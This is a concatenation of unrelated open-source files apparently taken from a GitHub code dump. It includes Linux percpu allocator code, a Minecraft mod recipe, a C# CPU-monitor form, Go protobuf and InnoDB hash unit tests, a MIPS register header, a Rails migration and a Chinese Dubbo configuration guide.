memblock_free_early(__pa(areas), areas_size);
return rc;
}
#endif /* BUILD_EMBED_FIRST_CHUNK */
#ifdef BUILD_PAGE_FIRST_CHUNK
/**
* pcpu_page_first_chunk - map the first chunk using PAGE_SIZE pages
* @reserved_size: the size of reserved percpu area in bytes
* @alloc_fn: function to allocate percpu page, always called with PAGE_SIZE
* @free_fn: function to free percpu page, always called with PAGE_SIZE
* @populate_pte_fn: function to populate pte
*
* This is a helper to ease setting up page-remapped first percpu
* chunk and can be called where pcpu_setup_first_chunk() is expected.
*
* This is the basic allocator. Static percpu area is allocated
* page-by-page into vmalloc area.
*
* RETURNS:
* 0 on success, -errno on failure.
*/
int __init pcpu_page_first_chunk(size_t reserved_size,
pcpu_fc_alloc_fn_t alloc_fn,
pcpu_fc_free_fn_t free_fn,
pcpu_fc_populate_pte_fn_t populate_pte_fn)
{
static struct vm_struct vm;
struct pcpu_alloc_info *ai;
char psize_str[16];
int unit_pages;
size_t pages_size;
struct page **pages;
int unit, i, j, rc = 0;
int upa;
int nr_g0_units;
snprintf(psize_str, sizeof(psize_str), "%luK", PAGE_SIZE >> 10);
ai = pcpu_build_alloc_info(reserved_size, 0, PAGE_SIZE, NULL);
if (IS_ERR(ai))
return PTR_ERR(ai);
BUG_ON(ai->nr_groups != 1);
upa = ai->alloc_size/ai->unit_size;
nr_g0_units = roundup(num_possible_cpus(), upa);
if (WARN_ON(ai->groups[0].nr_units != nr_g0_units)) {
pcpu_free_alloc_info(ai);
return -EINVAL;
}
unit_pages = ai->unit_size >> PAGE_SHIFT;
/* unaligned allocations can't be freed, round up to page size */
pages_size = PFN_ALIGN(unit_pages * num_possible_cpus() *
sizeof(pages[0]));
pages = memblock_alloc(pages_size, SMP_CACHE_BYTES);
if (!pages)
panic("%s: Failed to allocate %zu bytes\n", __func__,
pages_size);
/* allocate pages */
j = 0;
for (unit = 0; unit < num_possible_cpus(); unit++) {
unsigned int cpu = ai->groups[0].cpu_map[unit];
for (i = 0; i < unit_pages; i++) {
void *ptr;
ptr = alloc_fn(cpu, PAGE_SIZE, PAGE_SIZE);
if (!ptr) {
pr_warn("failed to allocate %s page for cpu%u\n",
psize_str, cpu);
goto enomem;
}
/* kmemleak tracks the percpu allocations separately */
kmemleak_free(ptr);
pages[j++] = virt_to_page(ptr);
}
}
/* allocate vm area, map the pages and copy static data */
vm.flags = VM_ALLOC;
vm.size = num_possible_cpus() * ai->unit_size;
vm_area_register_early(&vm, PAGE_SIZE);
for (unit = 0; unit < num_possible_cpus(); unit++) {
unsigned long unit_addr =
(unsigned long)vm.addr + unit * ai->unit_size;
for (i = 0; i < unit_pages; i++)
populate_pte_fn(unit_addr + (i << PAGE_SHIFT));
/* pte already populated, the following shouldn't fail */
rc = __pcpu_map_pages(unit_addr, &pages[unit * unit_pages],
unit_pages);
if (rc < 0)
panic("failed to map percpu area, err=%d\n", rc);
/*
* FIXME: Archs with virtual cache should flush local
* cache for the linear mapping here - something
* equivalent to flush_cache_vmap() on the local cpu.
* flush_cache_vmap() can't be used as most supporting
* data structures are not set up yet.
*/
/* copy static data */
memcpy((void *)unit_addr, __per_cpu_load, ai->static_size);
}
/* we're ready, commit */
pr_info("%d %s pages/cpu s%zu r%zu d%zu\n",
unit_pages, psize_str, ai->static_size,
ai->reserved_size, ai->dyn_size);
pcpu_setup_first_chunk(ai, vm.addr);
goto out_free_ar;
enomem:
while (--j >= 0)
free_fn(page_address(pages[j]), PAGE_SIZE);
rc = -ENOMEM;
out_free_ar:
memblock_free_early(__pa(pages), pages_size);
pcpu_free_alloc_info(ai);
return rc;
}
#endif /* BUILD_PAGE_FIRST_CHUNK */
#ifndef CONFIG_HAVE_SETUP_PER_CPU_AREA
/*
* Generic SMP percpu area setup.
*
* The embedding helper is used because its behavior closely resembles
* the original non-dynamic generic percpu area setup. This is
* important because many archs have addressing restrictions and might
* fail if the percpu area is located far away from the previous
* location. As an added bonus, in non-NUMA cases, embedding is
* generally a good idea TLB-wise because percpu area can piggy back
* on the physical linear memory mapping which uses large page
* mappings on applicable archs.
*/
unsigned long __per_cpu_offset[NR_CPUS] __read_mostly;
EXPORT_SYMBOL(__per_cpu_offset);
static void * __init pcpu_dfl_fc_alloc(unsigned int cpu, size_t size,
size_t align)
{
return memblock_alloc_from(size, align, __pa(MAX_DMA_ADDRESS));
}
static void __init pcpu_dfl_fc_free(void *ptr, size_t size)
{
memblock_free_early(__pa(ptr), size);
}
void __init setup_per_cpu_areas(void)
{
unsigned long delta;
unsigned int cpu;
int rc;
/*
* Always reserve area for module percpu variables. That's
* what the legacy allocator did.
*/
rc = pcpu_embed_first_chunk(PERCPU_MODULE_RESERVE,
PERCPU_DYNAMIC_RESERVE, PAGE_SIZE, NULL,
pcpu_dfl_fc_alloc, pcpu_dfl_fc_free);
if (rc < 0)
panic("Failed to initialize percpu areas.");
delta = (unsigned long)pcpu_base_addr - (unsigned long)__per_cpu_start;
for_each_possible_cpu(cpu)
__per_cpu_offset[cpu] = delta + pcpu_unit_offsets[cpu];
}
#endif /* CONFIG_HAVE_SETUP_PER_CPU_AREA */
#else /* CONFIG_SMP */
/*
* UP percpu area setup.
*
* UP always uses km-based percpu allocator with identity mapping.
* Static percpu variables are indistinguishable from the usual static
* variables and don't require any special preparation.
*/
void __init setup_per_cpu_areas(void)
{
const size_t unit_size =
roundup_pow_of_two(max_t(size_t, PCPU_MIN_UNIT_SIZE,
PERCPU_DYNAMIC_RESERVE));
struct pcpu_alloc_info *ai;
void *fc;
ai = pcpu_alloc_alloc_info(1, 1);
fc = memblock_alloc_from(unit_size, PAGE_SIZE, __pa(MAX_DMA_ADDRESS));
if (!ai || !fc)
panic("Failed to allocate memory for percpu areas.");
/* kmemleak tracks the percpu allocations separately */
kmemleak_free(fc);
ai->dyn_size = unit_size;
ai->unit_size = unit_size;
ai->atom_size = unit_size;
ai->alloc_size = unit_size;
ai->groups[0].nr_units = 1;
ai->groups[0].cpu_map[0] = 0;
pcpu_setup_first_chunk(ai, fc);
pcpu_free_alloc_info(ai);
}
#endif /* CONFIG_SMP */
/*
* pcpu_nr_pages - calculate total number of populated backing pages
*
* This reflects the number of pages populated to back chunks. Metadata is
* excluded in the number exposed in meminfo as the number of backing pages
* scales with the number of cpus and can quickly outweigh the memory used for
* metadata. It also keeps this calculation nice and simple.
*
* RETURNS:
* Total number of populated backing pages in use by the allocator.
*/
unsigned long pcpu_nr_pages(void)
{
return pcpu_nr_populated * pcpu_nr_units;
}
/*
* Percpu allocator is initialized early during boot when neither slab or
* workqueue is available. Plug async management until everything is up
* and running.
*/
static int __init percpu_enable_async(void)
{
pcpu_async_enabled = true;
return 0;
}
subsys_initcall(percpu_enable_async);
|
{
"pile_set_name": "Github"
}
|
{
"result": {
"item": "bloodmagic:blood_tank",
"data": 8
},
"pattern": [
"RBR",
"T T",
"RRR"
],
"type": "minecraft:crafting_shaped",
"key": {
"R": {
"item": "bloodmagic:blood_rune",
"data": 0
},
"B": {
"item": "bloodmagic:decorative_brick",
"data": 0
},
"T": {
"item": "bloodmagic:blood_tank",
"data": 7
}
}
}
|
{
"pile_set_name": "Github"
}
|
namespace CPUMonitor
{
partial class frmCPU
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.serSerialPort = new System.IO.Ports.SerialPort(this.components);
this.tmrCPUTimer = new System.Windows.Forms.Timer(this.components);
this.cmbComPort = new System.Windows.Forms.ComboBox();
this.pcCPUUsage = new System.Diagnostics.PerformanceCounter();
this.lblCPU = new System.Windows.Forms.Label();
this.nicoNotifyIcon = new System.Windows.Forms.NotifyIcon(this.components);
this.btnMinimizeToTray = new System.Windows.Forms.Button();
this.btnExit = new System.Windows.Forms.Button();
((System.ComponentModel.ISupportInitialize)(this.pcCPUUsage)).BeginInit();
this.SuspendLayout();
//
// tmrCPUTimer
//
this.tmrCPUTimer.Enabled = true;
this.tmrCPUTimer.Interval = 1000;
this.tmrCPUTimer.Tick += new System.EventHandler(this.tmrCPUTimer_Tick);
//
// cmbComPort
//
this.cmbComPort.FormattingEnabled = true;
this.cmbComPort.Location = new System.Drawing.Point(48, 12);
this.cmbComPort.Name = "cmbComPort";
this.cmbComPort.Size = new System.Drawing.Size(156, 21);
this.cmbComPort.TabIndex = 0;
this.cmbComPort.SelectedIndexChanged += new System.EventHandler(this.cbPort_SelectedIndexChanged);
//
// pcCPUUsage
//
this.pcCPUUsage.CategoryName = "Processor";
this.pcCPUUsage.CounterName = "% Processor Time";
this.pcCPUUsage.InstanceName = "_Total";
//
// lblCPU
//
this.lblCPU.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblCPU.Location = new System.Drawing.Point(44, 36);
this.lblCPU.Name = "lblCPU";
this.lblCPU.Size = new System.Drawing.Size(160, 28);
this.lblCPU.TabIndex = 1;
this.lblCPU.Text = "0%";
this.lblCPU.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
//
// nicoNotifyIcon
//
this.nicoNotifyIcon.Text = "CPU Usage Monitor";
this.nicoNotifyIcon.Visible = true;
//
// btnMinimizeToTray
//
this.btnMinimizeToTray.Location = new System.Drawing.Point(12, 67);
this.btnMinimizeToTray.Name = "btnMinimizeToTray";
this.btnMinimizeToTray.Size = new System.Drawing.Size(111, 28);
this.btnMinimizeToTray.TabIndex = 2;
this.btnMinimizeToTray.Text = "Minimize to Tray";
this.btnMinimizeToTray.UseVisualStyleBackColor = true;
this.btnMinimizeToTray.Click += new System.EventHandler(this.btnMinimizeToTray_Click);
//
// btnExit
//
this.btnExit.Location = new System.Drawing.Point(126, 67);
this.btnExit.Name = "btnExit";
this.btnExit.Size = new System.Drawing.Size(111, 28);
this.btnExit.TabIndex = 3;
this.btnExit.Text = "Exit";
this.btnExit.UseVisualStyleBackColor = true;
this.btnExit.Click += new System.EventHandler(this.btnExit_Click);
//
// frmCPU
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(249, 106);
this.Controls.Add(this.btnExit);
this.Controls.Add(this.btnMinimizeToTray);
this.Controls.Add(this.lblCPU);
this.Controls.Add(this.cmbComPort);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.MaximizeBox = false;
this.Name = "frmCPU";
this.Text = "CPU Usage Monitor";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
this.Load += new System.EventHandler(this.Form1_Load);
((System.ComponentModel.ISupportInitialize)(this.pcCPUUsage)).EndInit();
this.ResumeLayout(false);
}
#endregion
private System.IO.Ports.SerialPort serSerialPort;
private System.Windows.Forms.Timer tmrCPUTimer;
private System.Windows.Forms.ComboBox cmbComPort;
private System.Diagnostics.PerformanceCounter pcCPUUsage;
private System.Windows.Forms.Label lblCPU;
private System.Windows.Forms.NotifyIcon nicoNotifyIcon;
private System.Windows.Forms.Button btnMinimizeToTray;
private System.Windows.Forms.Button btnExit;
}
}
|
{
"pile_set_name": "Github"
}
|
// Protocol Buffers for Go with Gadgets
//
// Copyright (c) 2017, The GoGo Authors. All rights reserved.
// http://github.com/gogo/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
package mapdefaults
import (
"testing"
"github.com/gogo/protobuf/proto"
)
func TestUnmarshalIgnoreUnknownField(t *testing.T) {
fm := &FakeMap{
Entries: []*FakeMapEntry{
&FakeMapEntry{
Key: "key",
Value: "value",
Other: "other",
},
},
}
serializedMsg, err := proto.Marshal(fm)
if err != nil {
t.Fatalf("Failed to serialize msg: %s", err)
}
msg := &MapTest{}
err = proto.Unmarshal(serializedMsg, msg)
if err != nil {
var pb proto.Message = msg
_, ok := pb.(proto.Unmarshaler)
if !ok {
// non-codegen implementation returns error when extra tags are
// present.
return
}
t.Fatalf("Unexpected error: %s", err)
}
strStr := msg.StrStr
if len(strStr) != 1 {
t.Fatal("StrStr map should have 1 key/value pairs")
}
val, ok := strStr["key"]
if !ok {
t.Fatal("\"key\" not found in StrStr map.")
}
if val != "value" {
t.Fatalf("Unexpected value for \"value\": %s", val)
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* MIPS 74k definitions
*
* Copyright (C) 2013, Broadcom Corporation. All Rights Reserved.
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
* SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
* OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
* CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
* $Id: mips74k_core.h 419467 2013-08-21 09:19:48Z $
*/
#ifndef _mips74k_core_h_
#define _mips74k_core_h_
#include <mipsinc.h>
#ifndef _LANGUAGE_ASSEMBLY
/* cpp contortions to concatenate w/arg prescan */
#ifndef PAD
#define _PADLINE(line) pad ## line
#define _XSTR(line) _PADLINE(line)
#define PAD _XSTR(__LINE__)
#endif /* PAD */
typedef volatile struct {
uint32 corecontrol;
uint32 exceptionbase;
uint32 PAD[1];
uint32 biststatus;
uint32 intstatus;
uint32 intmask[6];
uint32 nmimask;
uint32 PAD[4];
uint32 gpioselect;
uint32 gpiooutput;
uint32 gpioenable;
uint32 PAD[101];
uint32 clkcontrolstatus;
} mips74kregs_t;
/* Core specific status flags */
#define SISF_CHG_CLK_OTF_PRESENT 0x0001
#endif /* _LANGUAGE_ASSEMBLY */
#endif /* _mips74k_core_h_ */
|
{
"pile_set_name": "Github"
}
|
class AddLicenseToVersions < ActiveRecord::Migration[4.2]
def change
add_column :versions, :licenses, :string
end
end
|
{
"pile_set_name": "Github"
}
|
# 直连提供者
在开发及测试环境下,经常需要绕过注册中心,只测试指定服务提供者,这时候可能需要点对点直连,点对点直连方式,将以服务接口为单位,忽略注册中心的提供者列表,A 接口配置点对点,不影响 B 接口从注册中心获取列表。

## 通过 XML 配置
如果是线上需求需要点对点,可在 `<dubbo:reference>` 中配置 url 指向提供者,将绕过注册中心,多个地址用分号隔开,配置如下 [^1]:
```xml
<dubbo:reference id="xxxService" interface="com.alibaba.xxx.XxxService" url="dubbo://localhost:20890" />
```
## 通过 -D 参数指定
在 JVM 启动参数中加入-D参数映射服务地址 [^2],如:
```sh
java -Dcom.alibaba.xxx.XxxService=dubbo://localhost:20890
```
## 通过文件映射
如果服务比较多,也可以用文件映射,用 `-Ddubbo.resolve.file` 指定映射文件路径,此配置优先级高于 `<dubbo:reference>` 中的配置 [^3],如:
```sh
java -Ddubbo.resolve.file=xxx.properties
```
然后在映射文件 `xxx.properties` 中加入配置,其中 key 为服务名,value 为服务提供者 URL:
```properties
com.alibaba.xxx.XxxService=dubbo://localhost:20890
```
**注意** 为了避免复杂化线上环境,不要在线上使用这个功能,只应在测试阶段使用。
[^1]: `1.0.6` 及以上版本支持
[^2]: key 为服务名,value 为服务提供者 url,此配置优先级最高,`1.0.15` 及以上版本支持
[^3]: `1.0.15` 及以上版本支持,`2.0` 以上版本自动加载 ${user.home}/dubbo-resolve.properties文件,不需要配置
|
{
"pile_set_name": "Github"
}
|
/* Copyright (c) 2015, 2019, Oracle and/or its affiliates. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License, version 2.0,
as published by the Free Software Foundation.
This program is also distributed with certain software (including
but not limited to OpenSSL) that is licensed under separate terms,
as designated in a particular file or component or in included license
documentation. The authors of MySQL hereby grant you an additional
permission to link the program and your derivative works with the
separately licensed software that they have included with MySQL.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License, version 2.0, for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */
/* See http://code.google.com/p/googletest/wiki/Primer */
/* First include (the generated) my_config.h to get correct platform defines. */
#include "my_config.h"
/* Enable this to have the tests below run lots of iterations, suitable for
perf testing and comparison, but not suitable for daily automated testing
where CPU time is scarce. */
#if 0
#define HEAVY_TEST
#endif
/* Enable to perf test std::map instead of
the InnoDB lock free hash. */
#if 0
#define TEST_STD_MAP 1
#endif
/* Enable to perf test std::unordered_map instead of
the InnoDB lock free hash, compile with -std=c++11 */
#if 0
#define TEST_STD_UNORDERED_MAP 1
#endif
/* Enable to perf test tbb::concurrent_hash_map instead of
the InnoDB lock free hash, download from
https://www.threadingbuildingblocks.org/ and also adjust
unittest/gunit/innodb/CMakeLists.txt */
#if 0
#define TEST_TBB 1
#endif
#if (defined(TEST_STD_MAP) && \
(defined(TEST_STD_UNORDERED_MAP) || defined(TEST_TBB))) || \
(defined(TEST_STD_UNORDERED_MAP) && defined(TEST_TBB))
#error TEST_STD_MAP, TEST_STD_UNORDERED_MAP and TEST_TBB are mutually exclusive
#endif
#ifdef TEST_STD_UNORDERED_MAP
#include <unordered_map>
#endif /* TEST_STD_UNORDERED_MAP */
#ifdef TEST_STD_MAP
#include <map>
#endif /* TEST_STD_MAP */
#ifdef TEST_TBB
#include <tbb/concurrent_hash_map.h>
#endif /* TEST_TBB */
#include <gtest/gtest.h>
#include <stddef.h>
#include <thread>
#include "my_thread_local.h" /* Needed to access thread local variables */
#include "storage/innobase/include/os0event.h" /* os_event_global_*() */
#include "storage/innobase/include/os0thread-create.h" /* os_thread_*() */
#include "storage/innobase/include/os0thread.h" /* os_thread_*() */
#include "storage/innobase/include/srv0conc.h" /* srv_max_n_threads */
#include "storage/innobase/include/sync0debug.h" /* sync_check_init(), sync_check_close() */
#include "storage/innobase/include/sync0policy.h" /* needed by ib0mutex.h, which is not self contained */
#include "storage/innobase/include/univ.i"
#include "storage/innobase/include/ut0dbg.h" /* ut_chrono_t */
#include "storage/innobase/include/ut0lock_free_hash.h"
#include "storage/innobase/include/ut0mutex.h" /* SysMutex, mutex_enter() */
/* Thread local counter variable for random backoff for spinlocks */
extern thread_local ulint ut_rnd_ulint_counter;
namespace innodb_lock_free_hash_unittest {
#if defined(TEST_STD_MAP) || defined(TEST_STD_UNORDERED_MAP)
class std_hash_t : public ut_hash_interface_t {
public:
#ifdef TEST_STD_MAP
typedef std::map<uint64_t, int64_t> map_t;
#else
typedef std::unordered_map<uint64_t, int64_t> map_t;
#endif
/** Constructor. */
std_hash_t() { m_map_latch.init(LATCH_ID_NONE, __FILE__, __LINE__); }
/** Destructor. */
~std_hash_t() { m_map_latch.destroy(); }
int64_t get(uint64_t key) const {
m_map_latch.enter(0, 0, __FILE__, __LINE__);
map_t::const_iterator it = m_map.find(key);
int64_t val;
if (it != m_map.end()) {
val = it->second;
} else {
val = NOT_FOUND;
}
m_map_latch.exit();
return (val);
}
void set(uint64_t key, int64_t val) {
m_map_latch.enter(0, 0, __FILE__, __LINE__);
m_map[key] = val;
m_map_latch.exit();
}
void del(uint64_t key) {
m_map_latch.enter(0, 0, __FILE__, __LINE__);
m_map.erase(key);
m_map_latch.exit();
}
void inc(uint64_t key) {
m_map_latch.enter(0, 0, __FILE__, __LINE__);
map_t::iterator it = m_map.find(key);
if (it != m_map.end()) {
++it->second;
} else {
m_map.insert(map_t::value_type(key, 1));
}
m_map_latch.exit();
}
void dec(uint64_t key) {
m_map_latch.enter(0, 0, __FILE__, __LINE__);
map_t::iterator it = m_map.find(key);
if (it != m_map.end()) {
--it->second;
} else {
m_map.insert(map_t::value_type(key, -1));
}
m_map_latch.exit();
}
#ifdef UT_HASH_IMPLEMENT_PRINT_STATS
void print_stats() {}
#endif /* UT_HASH_IMPLEMENT_PRINT_STATS */
private:
map_t m_map;
mutable OSTrackMutex<NoPolicy> m_map_latch;
};
#elif defined(TEST_TBB)
class tbb_hash_t : public ut_hash_interface_t {
public:
typedef uint64_t key_t;
typedef int64_t val_t;
typedef tbb::concurrent_hash_map<key_t, val_t> map_t;
/** Constructor. */
tbb_hash_t() {}
/** Destructor. */
~tbb_hash_t() {}
int64_t get(uint64_t key) const {
map_t::const_accessor a;
if (m_map.find(a, key)) {
return (a->second);
}
return (NOT_FOUND);
}
void set(uint64_t key, int64_t val) {
map_t::accessor a;
if (m_map.insert(a, map_t::value_type(key, val))) {
/* Insert succeeded, do nothing. */
} else {
/* A tuple with the given key already exists,
overwrite its value. */
a->second = val;
}
}
void del(uint64_t key) { m_map.erase(key); }
void inc(uint64_t key) { delta(key, 1); }
void dec(uint64_t key) { delta(key, -1); }
#ifdef UT_HASH_IMPLEMENT_PRINT_STATS
void print_stats() {}
#endif /* UT_HASH_IMPLEMENT_PRINT_STATS */
private:
void delta(uint64_t key, int64_t delta) {
map_t::accessor a;
if (m_map.insert(a, map_t::value_type(key, delta))) {
/* Insert succeeded because a tuple with this key
did not exist before, do nothing. */
} else {
/* A tuple with the given key already exists,
apply the delta to its value. */
os_atomic_increment_uint64(static_cast<uint64_t *>(&a->second), delta);
}
}
map_t m_map;
};
#endif
/** Generate a key to use in the (key, value) tuples.
@param[in] i some sequential number
@param[in] extra_bits extra bits to OR into the result
@return a key, derived from 'i' and 'extra_bits' */
inline uint64_t key_gen(size_t i, uint64_t extra_bits) {
return ((i * 7 + 3) | extra_bits);
}
/** Generate a value to use in the (key, value) tuples.
@param[in] i some sequential number
@return a value derived from 'i' */
inline int64_t val_from_i(size_t i) {
/* Make sure that the returned value is big enough, so that a few
decrements don't make it negative. */
return (i * 13 + 10000);
}
/** Insert some tuples in the hash, generating their keys and values
@param[in,out] hash hash into which to insert
@param[in] n_elements number of elements to insert
@param[in] key_extra_bits extra bits to use for key generation */
void hash_insert(ut_hash_interface_t *hash, size_t n_elements,
uint64_t key_extra_bits) {
for (size_t i = 0; i < n_elements; i++) {
hash->set(key_gen(i, key_extra_bits), val_from_i(i));
}
}
/** Delete the tuples from the hash, inserted by hash_insert(), when called
with the same arguments.
@param[in,out] hash hash from which to delete
@param[in] n_elements number of elements to delete
@param[in] key_extra_bits extra bits to use for key generation */
void hash_delete(ut_hash_interface_t *hash, size_t n_elements,
uint64_t key_extra_bits) {
for (size_t i = 0; i < n_elements; i++) {
hash->del(key_gen(i, key_extra_bits));
}
}
/** Check that the tuples inserted by hash_insert() are present in the hash.
@param[in] hash hash to check
@param[in] n_elements number of elements inserted by hash_insert()
@param[in] key_extra_bits extra bits that were given to hash_insert() */
void hash_check_inserted(const ut_hash_interface_t *hash, size_t n_elements,
uint64_t key_extra_bits) {
for (size_t i = 0; i < n_elements; i++) {
const uint64_t key = key_gen(i, key_extra_bits);
ASSERT_EQ(val_from_i(i), hash->get(key));
}
}
/** Check that the tuples deleted by hash_delete() are missing from the hash.
@param[in] hash hash to check
@param[in] n_elements number of elements deleted by hash_delete()
@param[in] key_extra_bits extra bits that were given to hash_delete() */
void hash_check_deleted(const ut_hash_interface_t *hash, size_t n_elements,
uint64_t key_extra_bits) {
for (size_t i = 0; i < n_elements; i++) {
const uint64_t key = key_gen(i, key_extra_bits);
const int64_t not_found = ut_hash_interface_t::NOT_FOUND;
ASSERT_EQ(not_found, hash->get(key));
}
}
class ut0lock_free_hash : public ::testing::Test {
public:
static void SetUpTestCase() {
srv_max_n_threads = 1024;
os_event_global_init();
sync_check_init(srv_max_n_threads);
os_thread_open();
}
static void TearDownTestCase() {
os_thread_close();
sync_check_close();
os_event_global_destroy();
}
};
TEST_F(ut0lock_free_hash, single_threaded) {
#ifdef HAVE_UT_CHRONO_T
ut_chrono_t chrono("single threaded");
#endif /* HAVE_UT_CHRONO_T */
#if defined(TEST_STD_MAP) || defined(TEST_STD_UNORDERED_MAP)
ut_hash_interface_t *hash = new std_hash_t();
#elif defined(TEST_TBB)
ut_hash_interface_t *hash = new tbb_hash_t();
#else
ut_hash_interface_t *hash = new ut_lock_free_hash_t(1048576, true);
#endif
const size_t n_elements = 16 * 1024;
hash_insert(hash, n_elements, 0);
hash_check_inserted(hash, n_elements, 0);
hash_delete(hash, n_elements, 0);
hash_check_deleted(hash, n_elements, 0);
hash_insert(hash, n_elements, 0);
hash_check_inserted(hash, n_elements, 0);
#if defined(HEAVY_TEST)
const size_t n_iter = 512;
#else
const size_t n_iter = 128 / 8;
#endif
for (size_t it = 0; it < n_iter; it++) {
/* Increment the values of some and decrement of others. */
for (size_t i = 0; i < n_elements; i++) {
const bool should_inc = i % 2 == 0;
const uint64_t key = key_gen(i, 0);
/* Inc/dec from 0 to 9 times, depending on 'i'. */
for (size_t j = 0; j < i % 10; j++) {
if (should_inc) {
hash->inc(key);
} else {
hash->dec(key);
}
}
}
}
/* Check that increment/decrement was done properly. */
for (size_t i = 0; i < n_elements; i++) {
const bool was_inc = i % 2 == 0;
const int64_t delta = (i % 10) * n_iter;
ASSERT_EQ(val_from_i(i) + (was_inc ? delta : -delta),
hash->get(key_gen(i, 0)));
}
hash_delete(hash, n_elements, 0);
hash_check_deleted(hash, n_elements, 0);
delete hash;
}
/** A thread's parameters. */
struct thread_params_t {
/** Common hash, accessed by many threads concurrently. */
ut_hash_interface_t *hash;
/** Thread id. Used to derive keys that are private to a given
thread, whose tuples are accessed only by that thread. */
uint64_t thread_id;
/** Number of common tuples (accessed by all threads) that are inserted
into the hash before starting the threads. */
size_t n_common;
/** Number of private, per-thread tuples to insert by each thread. */
size_t n_priv_per_thread;
};
/** Run a multi threaded test.
@param[in] label label used when printing the timing
@param[in] initial_hash_size initial number of cells in the hash
@param[in] n_common number of common tuples (accessed by
all threads) to insert into the hash before starting up all threads
@param[in] n_priv_per_thread number of private, per-thread tuples
to insert by each thread.
@param[in] n_threads number of threads to start. Overall
the hash will be filled with n_common + n_threads * n_priv_per_thread tuples
@param[in] thread_func function to fire up as a new thread */
template <typename F>
static void run_multi_threaded(const char *label, size_t initial_hash_size,
size_t n_common, size_t n_priv_per_thread,
size_t n_threads, F thread_func) {
#ifdef HAVE_UT_CHRONO_T
ut_chrono_t chrono(label);
#endif /* HAVE_UT_CHRONO_T */
ut_hash_interface_t *hash;
ut_rnd_ulint_counter = 0;
#if defined(TEST_STD_MAP) || defined(TEST_STD_UNORDERED_MAP)
hash = new std_hash_t();
#elif defined(TEST_TBB)
hash = new tbb_hash_t();
#else
hash = new ut_lock_free_hash_t(initial_hash_size, true);
#endif
std::thread **threads = new std::thread *[n_threads];
thread_params_t *params = new thread_params_t[n_threads];
hash_insert(hash, n_common, 0);
for (uintptr_t i = 0; i < n_threads; i++) {
params[i].hash = hash;
/* Avoid thread_id == 0 because that will collide with the
shared tuples, thus use 'i + 1' instead of 'i'. */
params[i].thread_id = i + 1;
params[i].n_common = n_common;
params[i].n_priv_per_thread = n_priv_per_thread;
threads[i] = new std::thread(thread_func, ¶ms[i]);
}
/* Wait for all threads to exit. */
for (uintptr_t i = 0; i < n_threads; i++) {
threads[i]->join();
delete threads[i];
}
hash_check_inserted(hash, n_common, 0);
#ifdef UT_HASH_IMPLEMENT_PRINT_STATS
hash->print_stats();
#endif /* UT_HASH_IMPLEMENT_PRINT_STATS */
delete[] params;
delete[] threads;
delete hash;
}
/** Hammer a common hash with inc(), dec() and set(), 100% writes.
The inc()/dec() performed on the common keys will net to 0 when this thread
ends. It also inserts some tuples with keys that are unique to this thread.
@param[in] p thread arguments */
void thread_0r100w(const thread_params_t *p) {
const uint64_t key_extra_bits = p->thread_id << 32;
hash_insert(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_check_inserted(p->hash, p->n_priv_per_thread, key_extra_bits);
#if defined(HEAVY_TEST)
